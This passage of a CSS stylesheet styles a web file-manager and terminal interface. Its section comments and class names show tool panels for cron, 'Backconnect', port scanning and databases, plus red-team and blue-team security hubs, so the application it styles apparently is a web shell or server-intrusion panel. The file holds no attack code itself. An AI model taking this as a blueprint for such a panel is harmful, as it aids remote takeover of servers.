  min-height: 360px;
  background:
    repeating-conic-gradient(var(--ink2) 0% 25%, var(--ink1) 0% 50%) 50% / 24px 24px;
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
  padding: 16px;
  position: relative;
}
.ip-image img {
  max-width: 100%;
  max-height: 70vh;
  object-fit: contain;
  border-radius: var(--r8);
  box-shadow: var(--s2);
  background: #000;
}
.ip-image .img-info {
  position: absolute; left: 14px; bottom: 14px;
  font-family: var(--mono); font-size: 11px;
  background: rgba(0,0,0,.65);
  border: 1px solid var(--bd2);
  border-radius: var(--r6);
  padding: 4px 10px;
  color: var(--tx2);
}
.ip-text {
  background: var(--ink0);
  align-items: stretch; justify-content: stretch;
  padding: 0;
  min-height: 360px;
}
.ip-text pre {
  flex: 1;
  margin: 0; padding: 16px 18px;
  font-family: var(--mono); font-size: 12.5px; line-height: 1.7;
  color: var(--tx2);
  white-space: pre-wrap; word-break: break-all;
  overflow: auto;
  max-height: 70vh;
}
.ip-text pre.hex-mode {
  white-space: pre; word-break: normal;
}

/* ─── TOOLS (Cron, Backconnect, Port Scan, DB) ──────────────── */
.tool-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 12px }
.tool-grid .fg { margin-bottom: 0 }
.tool-grid .span2 { grid-column: 1 / -1 }
@media (max-width: 640px) { .tool-grid { grid-template-columns: 1fr } }
.tool-output {
  margin-top: 14px; padding: 12px 14px;
  background: var(--ink0); border: 1px solid var(--bd2);
  border-radius: var(--r10); font-family: var(--mono);
  font-size: 12px; line-height: 1.65; color: var(--tx2);
  max-height: 280px; overflow: auto; white-space: pre-wrap;
}
.tool-output.empty { color: var(--tx4); font-style: italic }
.tool-output.tall { max-height: 420px; min-height: 180px }
.tool-output.fw-results { white-space: normal }
.fw-meta { color: var(--tx3); margin-bottom: 6px; white-space: pre-wrap }
.fw-row { display: flex; gap: 8px; align-items: flex-start; padding: 2px 0; border-bottom: 1px solid transparent }
.fw-row:hover { background: rgba(255,255,255,.03) }
.fw-perm {
  flex: 0 0 auto; color: var(--jade); font-weight: 600;
  min-width: 3.2em;
}
.fw-link {
  color: var(--tx1); text-decoration: none; word-break: break-all;
  cursor: pointer; border-bottom: 1px dashed rgba(255,255,255,.18);
}
.fw-link:hover { color: var(--jade); border-bottom-color: var(--jade) }
.tool-cmd {
  font-family: var(--mono); font-size: 11px; color: var(--jade);
  padding: 8px 10px; margin-bottom: 10px;
  background: var(--ink0); border: 1px solid var(--jade-bd);
  border-radius: var(--r8); word-break: break-all; line-height: 1.5;
}
.tool-tags { display: flex; flex-wrap: wrap; gap: 6px; margin-top: 10px }
.tool-tag {
  font-family: var(--mono); font-size: 11px; font-weight: 600;
  padding: 4px 10px; border-radius: 999px;
  background: var(--jade-bg); border: 1px solid var(--jade-bd);
  color: var(--jade-hi);
}
.tool-tag.closed {
  background: var(--red-bg); border-color: var(--red-bd); color: var(--red);
}
.db-result-wrap { overflow: auto; max-height: 340px; margin-top: 12px; border: 1px solid var(--bd2); border-radius: var(--r10) }
.db-result-wrap table { width: 100%; border-collapse: collapse; font-size: 12px }
.db-result-wrap th, .db-result-wrap td {
  padding: 7px 10px; text-align: left; border-bottom: 1px solid var(--bd2);
  font-family: var(--mono); white-space: nowrap; max-width: 220px;
  overflow: hidden; text-overflow: ellipsis;
}
.db-result-wrap th { background: var(--ink3); color: var(--jade); font-weight: 600; position: sticky; top: 0 }
.db-result-wrap tr:hover td { background: rgba(245,185,66,.04) }
.db-tables { display: flex; flex-wrap: wrap; gap: 6px; margin-top: 8px }
.db-manager-modal .modal-body { display: flex; flex-direction: column; padding: 0; min-height: 70vh; }
.db-iframe-wrap { position: relative; flex: 1; display: flex; flex-direction: column; min-height: 520px; background: var(--ink0); }
.db-iframe-loading {
  position: absolute; inset: 0; display: flex; align-items: center; justify-content: center; flex-direction: column; gap: 10px;
  background: var(--ink0); color: var(--tx2); font-size: 13px; z-index: 2;
}
.db-iframe-loading.hidden { display: none; }
.db-manager-frame { flex: 1; width: 100%; min-height: 520px; border: 0; background: #050608; }
.db-table-chip {
  font-family: var(--mono); font-size: 11px; padding: 4px 9px;
  border-radius: var(--r6); background: var(--ink3); border: 1px solid var(--bd2);
  color: var(--tx2); cursor: pointer; transition: all .15s var(--ease);
}
.db-table-chip:hover { border-color: var(--jade-bd); color: var(--jade) }
.tool-note { font-size: 11px; color: var(--tx4); margin-top: 8px; line-height: 1.5 }
.tool-note code {
  font-family: var(--mono); font-size: 10.5px; padding: 1px 6px;
  background: var(--ink3); border: 1px solid var(--bd2); border-radius: 4px; color: var(--jade);
}

/* ─── SECURITY HUBS & TOOL MODALS ─────────────────────────────── */
.tool-modal .modal-body { padding: 20px 22px }
.tool-modal .modal-head h2 { display: flex; align-items: center; gap: 10px }
.tool-modal .modal-head .tool-head-ico {
  width: 32px; height: 32px; display: grid; place-items: center;
  border-radius: var(--r8); background: var(--jade-bg); border: 1px solid var(--jade-bd);
  font-size: 16px; flex-shrink: 0;
}

.sec-callout {
  display: flex; gap: 10px; align-items: flex-start;
  padding: 10px 12px; margin: 12px 0 0;
  background: rgba(245,185,66,.04);
  border: 1px solid var(--jade-bd);
  border-left: 3px solid var(--jade);
  border-radius: 0 var(--r8) var(--r8) 0;
  font-size: 11.5px; color: var(--tx3); line-height: 1.55;
}
.sec-callout.blue {
  background: var(--blue-bg);
  border-color: rgba(121,192,255,.22);
  border-left-color: var(--blue);
}
.sec-callout.warn {
  background: var(--amber-bg);
  border-color: rgba(212,150,31,.25);
  border-left-color: var(--amber);
}
.sec-callout svg { width: 16px; height: 16px; flex-shrink: 0; margin-top: 1px; stroke: var(--jade); fill: none; stroke-width: 2 }
.sec-callout.warn svg { stroke: var(--amber) }
.sec-callout code {
  font-family: var(--mono); font-size: 10.5px; padding: 1px 5px;
  background: rgba(0,0,0,.25); border-radius: 3px; color: var(--jade-hi);
}
.sec-callout.blue code { color: var(--blue) }
.tool-modal.blue-team .tool-head-ico {
  background: var(--blue-bg); border-color: rgba(121,192,255,.28);
}

.sec-hub-modal .modal-head.sec-hub-head {
  padding: 14px 18px;
  background: linear-gradient(180deg, var(--ink2), var(--ink1));
  border-bottom: 1px solid var(--bd2);
}
.sec-hub-head-left { display: flex; align-items: center; gap: 12px; flex: 1; min-width: 0 }
.sec-hub-head-left h2 { font-size: 16px; font-weight: 700; letter-spacing: -.02em }
.sec-hub-badge {
  font-family: var(--mono); font-size: 9px; font-weight: 800; letter-spacing: .14em;
  padding: 4px 8px; border-radius: 6px; flex-shrink: 0;
  background: var(--jade-bg); border: 1px solid var(--jade-bd); color: var(--jade);
}
.sec-hub-modal.blue-team .sec-hub-badge {
  background: var(--blue-bg); border-color: rgba(121,192,255,.28); color: var(--blue);
}
.sec-hub-body { padding: 0 !important; display: flex; flex-direction: column; min-height: 0; flex: 1 }

.sec-hub-shell {
  display: flex; flex: 1; min-height: 0; overflow: hidden;
}
.sec-hub-nav {
  width: 210px; flex-shrink: 0;
  border-right: 1px solid var(--bd2);
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  overflow-y: auto; padding: 10px 8px;
  scrollbar-width: thin;
}
.sec-nav-btn {
  display: flex; align-items: center; gap: 10px; width: 100%;
  padding: 9px 10px; margin-bottom: 3px;
  border: 1px solid transparent; border-radius: var(--r10);
  background: transparent; cursor: pointer; text-align: left;
  transition: all .15s var(--ease);
}
.sec-nav-btn:hover {
  background: var(--ink3); border-color: var(--bd2);
}
.sec-nav-btn.active {
  background: linear-gradient(135deg, rgba(245,185,66,.12), rgba(245,185,66,.04));
  border-color: var(--jade-bd);
  box-shadow: inset 0 1px 0 rgba(255,255,255,.04);
}
.sec-hub-modal.blue-team .sec-nav-btn.active {
  background: linear-gradient(135deg, rgba(121,192,255,.14), rgba(121,192,255,.04));
  border-color: rgba(121,192,255,.28);
}
.sec-nav-ico {
  width: 30px; height: 30px; flex-shrink: 0;
  display: grid; place-items: center;
  border-radius: var(--r8);
  background: var(--ink3); border: 1px solid var(--bd2);
  color: var(--tx3);
  transition: all .15s var(--ease);
}
.sec-nav-ico svg { width: 15px; height: 15px; stroke: currentColor; fill: none; stroke-width: 2; stroke-linecap: round; stroke-linejoin: round }
.sec-nav-ico .bi { font-size: 15px; line-height: 1; color: currentColor; }
.sec-nav-ico:has(.bi) svg { display: none; }
.sb-arrow.bi {
  font-size: 13px; line-height: 1;
  margin-left: auto; flex-shrink: 0;
  color: var(--jade); opacity: 0;
  transform: translateX(-4px);
  display: inline-flex; align-items: center; justify-content: center;
  transition: opacity .18s var(--ease), transform .18s var(--ease-out);
}
.sec-nav-btn.active .sec-nav-ico {
  background: var(--jade-bg); border-color: var(--jade-bd); color: var(--jade);
}
.sec-hub-modal.blue-team .sec-nav-btn.active .sec-nav-ico {
  background: var(--blue-bg); border-color: rgba(121,192,255,.3); color: var(--blue);
}
.sec-nav-text { display: flex; flex-direction: column; gap: 1px; min-width: 0 }
.sec-nav-text strong { font-size: 12px; font-weight: 600; color: var(--tx2); line-height: 1.2 }
.sec-nav-text small { font-size: 10px; color: var(--tx4); line-height: 1.2 }
.sec-nav-btn.active .sec-nav-text strong { color: var(--tx) }

.sec-hub-main { flex: 1; min-width: 0; display: flex; flex-direction: column; overflow: hidden }
.sec-hero {
  padding: 18px 22px 16px;
  background:
    radial-gradient(ellipse 80% 120% at 100% 0%, rgba(245,185,66,.08), transparent 55%),
    linear-gradient(180deg, var(--ink2), var(--ink1));
  border-bottom: 1px solid var(--bd2);
  flex-shrink: 0;
}
.sec-hub-modal.blue-team .sec-hero {
  background:
    radial-gradient(ellipse 80% 120% at 100% 0%, rgba(121,192,255,.10), transparent 55%),
    linear-gradient(180deg, var(--ink2), var(--ink1));
}
.sec-hero h3 {
  font-size: 15px; font-weight: 700; color: var(--tx);
  margin: 0 0 4px; letter-spacing: -.02em;
}
.sec-hero p { font-size: 12px; color: var(--tx3); margin: 0; line-height: 1.5; max-width: 640px }
.sec-hub-content { padding: 18px 22px 22px; overflow: auto; flex: 1 }

.sec-panel { display: none; animation: secFadeIn .2s var(--ease) }
.sec-panel.active { display: block }
@keyframes secFadeIn { from { opacity: 0; transform: translateY(4px) } to { opacity: 1; transform: none } }

.sec-panel-card {
  background: linear-gradient(180deg, var(--ink2), var(--ink1));
  border: 1px solid var(--bd2);
  border-radius: var(--r14);
  padding: 16px 18px;
  box-shadow: inset 0 1px 0 rgba(255,255,255,.03);
}
.sec-panel-card + .sec-panel-card { margin-top: 14px }

.sec-actions {
  display: flex; gap: 8px; flex-wrap: wrap;
  margin-bottom: 14px; align-items: center;
}
.sec-actions .btn-sm { font-size: 11px; padding: 7px 13px; border-radius: var(--r8) }
.sec-actions-divider {
  width: 1px; height: 22px; background: var(--bd2); margin: 0 2px;
}

.sec-form-grid {
  display: grid; grid-template-columns: 1fr 1fr; gap: 12px 14px; margin-bottom: 14px;
}
.sec-form-grid .fg { margin-bottom: 0 }
.sec-form-grid .span2 { grid-column: 1 / -1 }
@media (max-width: 720px) {
  .sec-hub-shell { flex-direction: column; min-height: 0 }
  .sec-hub-nav {
    width: 100%; border-right: none; border-bottom: 1px solid var(--bd2);
    display: flex; flex-wrap: nowrap; overflow-x: auto; padding: 8px;
  }
  .sec-nav-btn { width: auto; flex-shrink: 0; min-width: 130px }
  .sec-nav-text small { display: none }
  .sec-form-grid { grid-template-columns: 1fr }
}

.sec-toggle-row {
  display: flex; align-items: center; gap: 10px; padding: 10px 12px;
  background: var(--ink0); border: 1px solid var(--bd2); border-radius: var(--r10);
  cursor: pointer; user-select: none; transition: border-color .15s;
}
.sec-toggle-row:hover { border-color: var(--jade-bd) }
.sec-toggle-row input { width: auto; accent-color: var(--jade); flex-shrink: 0 }
.sec-toggle-row span { font-size: 12px; color: var(--tx2); line-height: 1.4 }

.sec-terminal {
  border: 1px solid var(--bd2); border-radius: var(--r12);
  overflow: hidden; background: var(--ink0);
  box-shadow: inset 0 2px 12px rgba(0,0,0,.25);
}
.sec-terminal-bar {
  display: flex; align-items: center; gap: 10px;
  padding: 8px 12px;
  background: linear-gradient(180deg, var(--ink3), var(--ink2));
  border-bottom: 1px solid var(--bd2);
}
.sec-terminal-dots { display: flex; gap: 5px }
.sec-terminal-dots i {
  width: 9px; height: 9px; border-radius: 50%; display: block;
}
.sec-terminal-dots i:nth-child(1) { background: #ff5f57 }
.sec-terminal-dots i:nth-child(2) { background: #febc2e }
.sec-terminal-dots i:nth-child(3) { background: #28c840 }
.sec-terminal-title {
  font-family: var(--mono); font-size: 10.5px; color: var(--tx4);
  letter-spacing: .04em; text-transform: uppercase;
}
.sec-terminal-out {
  margin: 0 !important; border: none !important; border-radius: 0 !important;
  max-height: 360px; min-height: 200px;
  background: #040506;
}
.sec-panel .sec-terminal-out.tall { max-height: 380px; min-height: 220px }

.sec-quarantine-card {
  margin-top: 16px; padding-top: 16px;
  border-top: 1px dashed var(--bd2);
}
.sec-quarantine-head {
  display: flex; align-items: center; gap: 10px; flex-wrap: wrap;
  margin-bottom: 10px;
}
.sec-quarantine-head .sec-q-title {
  display: flex; align-items: center; gap: 8px;
  font-size: 12px; font-weight: 700; color: var(--tx2);
  flex: 1; min-width: 140px;
}
.sec-quarantine-head .sec-q-title svg {
  width: 16px; height: 16px; stroke: var(--blue); fill: none; stroke-width: 2;
}

.sec-tabs {
  padding: 10px 14px 0;
  border-bottom: 1px solid var(--bd2);
  background: var(--ink1);
  flex-wrap: wrap;
  gap: 4px;
}
.lt-tabs { display: flex; gap: 6px; margin-bottom: 12px; flex-wrap: wrap; }
.lt-tab {
  font-size: 12px; padding: 6px 12px; border-radius: var(--r8);
  border: 1px solid var(--bd2); background: var(--ink1); color: var(--ink7); cursor: pointer;
}
.lt-tab.active { border-color: var(--gold); color: var(--gold); }
.lt-pane { display: none; }
.lt-pane.active { display: block; }
.lt-follow-on { color: var(--jade); font-size: 11px; font-weight: 600; }
.vhost-wrap { max-height: 280px; overflow: auto; border: 1px solid var(--bd2); border-radius: var(--r12); background: var(--ink0); }
.vhost-table { width: 100%; border-collapse: collapse; font-size: 11px; font-family: var(--mono); }
.vhost-table th, .vhost-table td { padding: 8px 10px; border-bottom: 1px solid var(--bd2); text-align: left; vertical-align: top; }
.vhost-table th { font-size: 10px; text-transform: uppercase; letter-spacing: .04em; color: var(--ink6); position: sticky; top: 0; background: var(--ink1); }
.vhost-table tr:hover td { background: var(--ink1); }
.vhost-table .vh-open { font-size: 11px; white-space: nowrap; }
.sec-panel .tool-output:not(.sec-terminal-out) { max-height: 360px; min-height: 200px }

.blue-badge {
  display: inline-block; font-size: 10px; font-weight: 700; padding: 2px 8px;
  border-radius: 999px; margin-right: 6px; font-family: var(--mono);
}
.blue-badge.critical { background: var(--red-bg); color: var(--red); border: 1px solid var(--red-bd) }
.blue-badge.high { background: var(--amber-bg); color: var(--amber); border: 1px solid rgba(212,150,31,.3) }
.blue-badge.ok { background: var(--jade-bg); color: var(--jade); border: 1px solid var(--jade-bd) }

.blue-threat-wrap {
  margin-top: 12px; border: 1px solid var(--bd2); border-radius: var(--r12);
  background: var(--ink0); max-height: 340px; overflow: auto;
  box-shadow: inset 0 2px 8px rgba(0,0,0,.2);
}
.blue-threat-item {
  display: flex; gap: 10px; align-items: flex-start; padding: 11px 14px;
  border-bottom: 1px solid var(--bd2); font-size: 12px;
  transition: background .12s var(--ease);
  position: relative;
}
.blue-threat-item::before {
  content: ""; position: absolute; left: 0; top: 0; bottom: 0; width: 3px;
  background: transparent; transition: background .12s;
}
.blue-threat-item:has(.blue-threat-sev.CRITICAL)::before { background: var(--red) }
.blue-threat-item:has(.blue-threat-sev.HIGH)::before { background: var(--amber) }
.blue-threat-item:has(.blue-threat-sev.MEDIUM)::before { background: var(--blue) }
.blue-threat-item:last-child { border-bottom: none }
.blue-threat-item:hover { background: rgba(245,185,66,.03) }
.blue-threat-item input { margin-top: 4px; flex-shrink: 0; accent-color: var(--jade); width: 15px; height: 15px }
.blue-threat-info { flex: 1; min-width: 0 }
.blue-threat-path {
  font-family: var(--mono); font-size: 11.5px; color: var(--tx);
  word-break: break-all; line-height: 1.45;
}
.blue-threat-meta { font-size: 10.5px; color: var(--tx4); margin-top: 4px; line-height: 1.5 }
.blue-threat-sev {
  font-family: var(--mono); font-size: 9.5px; font-weight: 800; letter-spacing: .04em;
  padding: 3px 8px; border-radius: 6px; flex-shrink: 0; margin-top: 1px;
}
.blue-threat-sev.CRITICAL { background: var(--red-bg); color: var(--red); border: 1px solid var(--red-bd) }
.blue-threat-sev.HIGH { background: var(--amber-bg); color: var(--amber); border: 1px solid rgba(212,150,31,.3) }
.blue-threat-sev.MEDIUM { background: rgba(121,192,255,.12); color: var(--blue); border: 1px solid rgba(121,192,255,.22) }
.blue-threat-sev.LOW { background: var(--ink4); color: var(--tx3); border: 1px solid var(--bd2) }
.blue-threat-actions {
  display: none; flex-wrap: wrap; gap: 8px; margin-top: 14px; align-items: center;
  padding: 10px 12px; background: var(--ink2); border: 1px solid var(--bd2);
  border-radius: var(--r10);
}
.blue-threat-actions.show { display: flex }
.blue-threat-actions .btn-danger { background: var(--red-bg); border-color: var(--red-bd); color: var(--red) }
.blue-threat-actions .btn-danger:hover { background: rgba(248,113,113,.2) }
.blue-threat-count-pill {
  font-family: var(--mono); font-size: 11px; font-weight: 700;
  padding: 4px 10px; border-radius: 999px;
  background: var(--red-bg); border: 1px solid var(--red-bd); color: var(--red);
  margin-right: auto;
}

.sec-hub-foot {
  display: flex; align-items: center; gap: 12px; flex-wrap: wrap;
}
.sec-hub-foot .sec-stat {
  font-family: var(--mono); font-size: 10px; color: var(--tx4);
  padding: 3px 8px; border-radius: 6px;
  background: var(--ink3); border: 1px solid var(--bd2);
}
.sec-hub-foot .left { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; flex: 1 }

/* ─── TERMINAL — Premium Warp/iTerm-inspired ─────────────────── */
.term-modal .modal-body {
  padding: 0; display: flex; flex-direction: column;
  background: var(--ink0);
  position: relative;
  overflow: hidden;
}
.term-modal .modal-body::before {
  content: "";
  position: absolute; inset: 0;
  background: repeating-linear-gradient(
    0deg,
    transparent 0,
    transparent 2px,
    rgba(245,185,66,.012) 3px,
    transparent 4px
  );
  pointer-events: none; opacity: .45;
  z-index: 0;
}

.term-top {
  display: flex; align-items: center; gap: 14px;
  padding: 11px 18px;
  background: linear-gradient(180deg, var(--ink2), var(--ink1));
  border-bottom: 1px solid var(--bd2);
  box-shadow: inset 0 -1px 0 rgba(245,185,66,.05);
  flex-shrink: 0;
  position: relative; z-index: 2;
}
.term-dots { display: flex; gap: 7px }
.term-dots i {
  width: 12px; height: 12px; border-radius: 50%;
  display: block;
  box-shadow:
    inset 0 1px 0 rgba(255,255,255,.28),
    0 1px 2px rgba(0,0,0,.4);
  transition: opacity .2s var(--ease), transform .2s var(--ease);
}
.term-dots i:nth-child(1) { background: linear-gradient(135deg, #ff7a6e, #ff5f57) }
.term-dots i:nth-child(2) { background: linear-gradient(135deg, #ffd13b, #febc2e) }
.term-dots i:nth-child(3) { background: linear-gradient(135deg, #4cd964, #28c840) }
.term-dots:hover i { opacity: .85 }

.term-title-area {
  flex: 1; display: flex; flex-direction: column; gap: 2px;
  align-items: center; min-width: 0;
}
.term-title {
  font-size: 11px; font-weight: 700;
  color: var(--tx2); letter-spacing: .14em;
  text-transform: uppercase;
  display: flex; align-items: center; gap: 7px;
}
.term-title-icon {
  width: 12px; height: 12px;
  stroke: var(--jade); fill: none;
  filter: drop-shadow(0 0 4px rgba(245,185,66,.4));
}
.term-cwd {
  font-family: var(--mono); font-size: 10.5px;
  color: var(--tx4); font-weight: 500;
  max-width: 60ch;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
  letter-spacing: .02em;
}

.term-actions { display: flex; gap: 5px; align-items: center }
.term-stats {
  font-family: var(--mono); font-size: 10px;
  color: var(--tx4); font-weight: 500;
  padding: 3px 9px; border-radius: 4px;
  background: var(--ink3); border: 1px solid var(--bd2);
  display: flex; align-items: center; gap: 4px;
}
.term-stats b { color: var(--jade); font-weight: 700; font-variant-numeric: tabular-nums }
.term-actions .term-btn {
  width: 28px; height: 28px;
  border-radius: 6px;
  background: transparent; border: 1px solid transparent;
  color: var(--tx3); cursor: pointer;
  display: grid; place-items: center;
  transition: all .15s var(--ease);
}
.term-actions .term-btn:hover {
  background: var(--ink3);
  color: var(--jade);
  border-color: var(--bd2);
}
.term-actions .term-btn svg { width: 13px; height: 13px; fill: currentColor }

/* Output area */
.term-out {
  flex: 1; overflow-y: auto;
  padding: 18px 22px 14px;
  font-family: var(--mono); font-size: 12.5px; line-height: 1.7;
  color: var(--tx2);
  position: relative; z-index: 1;
  scroll-behavior: smooth;
  background:
    radial-gradient(ellipse 700px 350px at 50% 0%, rgba(245,185,66,.022) 0%, transparent 70%);
}

/* Welcome banner */
.term-banner {
  margin: 0 0 18px 0;
  padding: 14px 16px;
  background: linear-gradient(135deg, rgba(245,185,66,.06), rgba(245,185,66,.02));
  border: 1px solid var(--jade-bd);
  border-left: 3px solid var(--jade);
  border-radius: 8px;
  font-family: var(--mono); font-size: 11.5px;
  color: var(--tx2); line-height: 1.65;
}
.term-banner b {
  color: var(--jade); font-weight: 700;
  letter-spacing: .04em;
  display: block; margin-bottom: 4px;
  font-size: 12px;
}
.term-banner .kbd {
  font-family: var(--mono); font-size: 10.5px;
  padding: 1px 6px; border-radius: 3px;
  background: var(--ink3); border: 1px solid var(--bd2);
  color: var(--tx); font-weight: 600;
  margin: 0 2px;
}

/* Block-style output (each command gets its own card) */
.term-block {
  margin-bottom: 16px;
  padding-left: 14px;
  border-left: 2px solid var(--bd2);
  position: relative;
  animation: tblockIn .22s var(--ease-out);
}
@keyframes tblockIn {
  from { opacity: 0; transform: translateX(-4px) }
  to   { opacity: 1; transform: translateX(0) }
}
.term-block.success { border-left-color: var(--jade-bd2) }
.term-block.error   { border-left-color: rgba(248,113,113,.55) }
.term-block.running { border-left-color: var(--jade) }
.term-block.running::before {
  content: ""; position: absolute;
  left: -2px; top: 0; bottom: 0; width: 2px;
  background: var(--jade);
  animation: tblockPulse 1.2s var(--ease) infinite;
}
@keyframes tblockPulse {
  0%, 100% { opacity: 1 }
  50%      { opacity: .35 }
}

.term-cmd-line {
  display: flex; align-items: center; gap: 10px;
  padding: 4px 0 8px;
  font-weight: 500;
}
.term-prompt-mini {
  color: var(--jade); font-weight: 800;
  font-size: 13px; flex-shrink: 0;
  text-shadow: 0 0 8px rgba(245,185,66,.5);
}
.term-cmd-text {
  flex: 1; color: var(--tx);
  white-space: pre-wrap; word-break: break-all;
  font-weight: 500;
}
.term-cmd-meta {
  display: flex; gap: 6px; align-items: center;
  font-size: 10px; color: var(--tx4);
  font-weight: 500; flex-shrink: 0;
  font-variant-numeric: tabular-nums;
}
.term-time { opacity: .65 }
.term-duration {
  padding: 1px 7px; border-radius: 3px;
  background: var(--ink3); border: 1px solid var(--bd2);
  color: var(--tx3); letter-spacing: .02em;
}
.term-block.success .term-duration { color: var(--jade); border-color: var(--jade-bd) }
.term-block.error .term-duration { color: var(--red); border-color: rgba(248,113,113,.3) }

.term-out-text {
  white-space: pre-wrap; word-break: break-word;
  padding: 2px 0;
  color: var(--tx2);
  font-size: 12.5px;
  line-height: 1.7;
}
.term-block.error .term-out-text { color: #ffb3b3 }
.term-block.dim  .term-out-text { color: var(--tx4); font-style: italic }
.term-exit-note {
  display: inline-flex; align-items: center; gap: 6px;
  margin-top: 6px; padding: 2px 9px;
  font-size: 10.5px; font-weight: 600;
  background: rgba(248,113,113,.1);
  border: 1px solid rgba(248,113,113,.25);
  border-radius: 4px;
  color: var(--red);
}

/* Animated running dots */
.term-running-dots {
  display: inline-flex; gap: 5px;
  padding: 6px 0; align-items: center;
}
.term-running-dots span {
  width: 5px; height: 5px; border-radius: 50%;
  background: var(--jade);
  animation: trd 1.2s var(--ease) infinite;
}
.term-running-dots span:nth-child(2) { animation-delay: .15s }
.term-running-dots span:nth-child(3) { animation-delay: .3s }
@keyframes trd {
  0%, 100% { opacity: .3; transform: scale(.8) }
  50%      { opacity: 1; transform: scale(1) }
}

/* Legacy line for system/dim messages */
.term-line { margin-bottom: 2px; animation: tline .12s var(--ease) }
@keyframes tline { from{opacity:0; transform: translateY(-2px)} to{opacity:1; transform: translateY(0)} }
.term-line.cmd { color: var(--jade); font-weight: 500 }
.term-line.err { color: var(--red) }
.term-line.dim { color: var(--tx4); font-style: italic }

/* Input row — premium prompt segments */
.term-in-row {
  display: flex; align-items: center; gap: 12px;
  padding: 13px 22px;
  border-top: 1px solid var(--bd2);
  background: linear-gradient(180deg, var(--ink1), var(--ink0));
  flex-shrink: 0;
  position: relative; z-index: 2;
  transition: box-shadow .25s var(--ease);
}
.term-in-row::before {
  content: ""; position: absolute;
  left: 0; right: 0; top: 0; height: 1px;
  background: linear-gradient(90deg, transparent, var(--jade-bd), transparent);
  transition: background .25s var(--ease);
}
.term-in-row:focus-within {
  box-shadow: 0 -8px 24px rgba(245,185,66,.06);
}
.term-in-row:focus-within::before {
  background: linear-gradient(90deg, transparent, var(--jade), transparent);
}

.term-prompt-area {
  display: flex; align-items: baseline; gap: 0;
  font-family: var(--mono); font-size: 12px;
  flex-shrink: 0;
  letter-spacing: .01em;
}
.term-prompt-user { color: var(--jade); font-weight: 700 }
.term-prompt-at   { color: var(--tx4); margin: 0 1px }
.term-prompt-host { color: var(--jade-hi); font-weight: 600 }
.term-prompt-colon{ color: var(--tx4); margin: 0 1px }
.term-prompt-cwd {
  color: #79c0ff; font-weight: 500;
  max-width: 28ch;
  overflow: hidden; text-overflow: ellipsis; white-space: nowrap;
}
.term-prompt-mark {
  color: var(--jade); font-weight: 800;
  font-size: 14px; line-height: 1;
  margin-left: 7px;
  text-shadow: 0 0 8px rgba(245,185,66,.55);
}

.term-in-row input {
  flex: 1; background: transparent; border: none; outline: none;
  font-family: var(--mono); font-size: 13px; color: var(--tx);
  caret-color: var(--jade);
  letter-spacing: .015em;
  min-width: 0;
}
.term-in-row input::placeholder {
  color: var(--tx4); font-style: italic; opacity: .7;
}

.term-spinner {
  display: none; flex-shrink: 0;
  width: 14px; height: 14px;
  border: 2px solid var(--jade-bd);
  border-top-color: var(--jade);
  border-radius: 50%;
  animation: tspin .7s linear infinite;
}
.term-spinner.show { display: inline-block }
@keyframes tspin { to { transform: rotate(360deg) } }

.term-hint {
  font-family: var(--mono); font-size: 9.5px;
  color: var(--tx4);
  display: flex; gap: 10px; align-items: center;
  flex-shrink: 0; opacity: .65;
  letter-spacing: .04em;
}
.term-hint .kbd {
  padding: 1px 6px; border-radius: 3px;
  background: var(--ink3); border: 1px solid var(--bd2);
  color: var(--tx3); font-weight: 700;
  margin-right: 3px;
}

@media (max-width: 720px) {
  .term-title-area { display: none }
  .term-hint { display: none }
  .term-stats { display: none }
  .term-prompt-host, .term-prompt-at { display: none }
  .term-in-row { padding: 12px 14px; gap: 8px }
  .term-out { padding: 14px 14px 10px }
}

/* ─── CONTEXT MENU ────────────────────────────────────────────── */
.ctx {
  position: fixed; z-index: 300;
  background: linear-gradient(180deg, var(--ink3), var(--ink2));
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
  box-shadow: var(--s3), 0 0 0 1px rgba(255,255,255,.02) inset;
  min-width: 200px; padding: 5px; display: none;
  transform-origin: top left;
  animation: ctxPop .14s var(--spring);
}
@keyframes ctxPop {
  from { opacity: 0; transform: scale(.94) translateY(-2px) }
  to   { opacity: 1; transform: scale(1) translateY(0) }
}
.ctx.open { display: block }
.ci {
  display: flex; align-items: center; gap: 10px;
  padding: 8px 12px; font-size: 12.5px; font-weight: 500;
  border-radius: var(--r8); cursor: pointer; color: var(--tx2);
  border: none; background: transparent;
  width: 100%; text-align: left;
  transition: background-color .1s var(--ease), color .1s var(--ease);
}
.ci:hover { background: var(--jade-bg); color: var(--tx) }
.ci.danger:hover { background: var(--red-bg); color: var(--red) }
.ci svg { width: 14px; height: 14px; fill: none; stroke: currentColor; stroke-width: 1.75; stroke-linecap: round; stroke-linejoin: round; opacity: .85 }
.ci:hover svg { opacity: 1 }
.ctx-sep { height: 1px; background: var(--bd2); margin: 4px 6px }
.ci.disabled, .ci:disabled { opacity: .4; pointer-events: none }
.clip-indicator {
  font-size: 10px; color: var(--jade); padding: 4px 12px 8px;
  font-family: var(--mono); letter-spacing: .04em;
}

/* ─── TOASTS ──────────────────────────────────────────────────── */
.toasts {
  position: fixed; bottom: 20px; right: 20px; z-index: 400;
  display: flex; flex-direction: column-reverse; gap: 8px;
  pointer-events: none;
}
.toast {
  padding: 11px 14px 11px 12px;
  background: linear-gradient(180deg, var(--ink3), var(--ink2));
  border: 1px solid var(--bd2);
  border-radius: var(--r10);
  box-shadow: var(--s2), 0 0 0 1px rgba(255,255,255,.02) inset;
  font-size: 12.5px; font-weight: 500;
  color: var(--tx);
  display: flex; align-items: center; gap: 11px;
  pointer-events: auto; max-width: 380px;
  animation: toastIn .26s var(--spring);
}
@keyframes toastIn {
  from { opacity: 0; transform: translateX(20px) scale(.96) }
  to   { opacity: 1; transform: translateX(0) scale(1) }
}
.t-dot { width: 8px; height: 8px; border-radius: 50%; flex-shrink: 0 }
.toast.ok { border-color: var(--jade-bd) }
.toast.ok .t-dot { background: var(--jade); box-shadow: 0 0 0 3px var(--jade-bg), 0 0 8px var(--jade) }
.toast.err { border-color: var(--red-bd) }
.toast.err .t-dot { background: var(--red); box-shadow: 0 0 0 3px var(--red-bg), 0 0 8px var(--red) }

/* ─── SEARCH RESULTS ──────────────────────────────────────────── */
.sr-list {
  position: absolute; top: calc(100% + 8px); left: 0; right: 0;
  background: linear-gradient(180deg, var(--ink3), var(--ink2));
  border: 1px solid var(--bd2);
  border-radius: var(--r12);
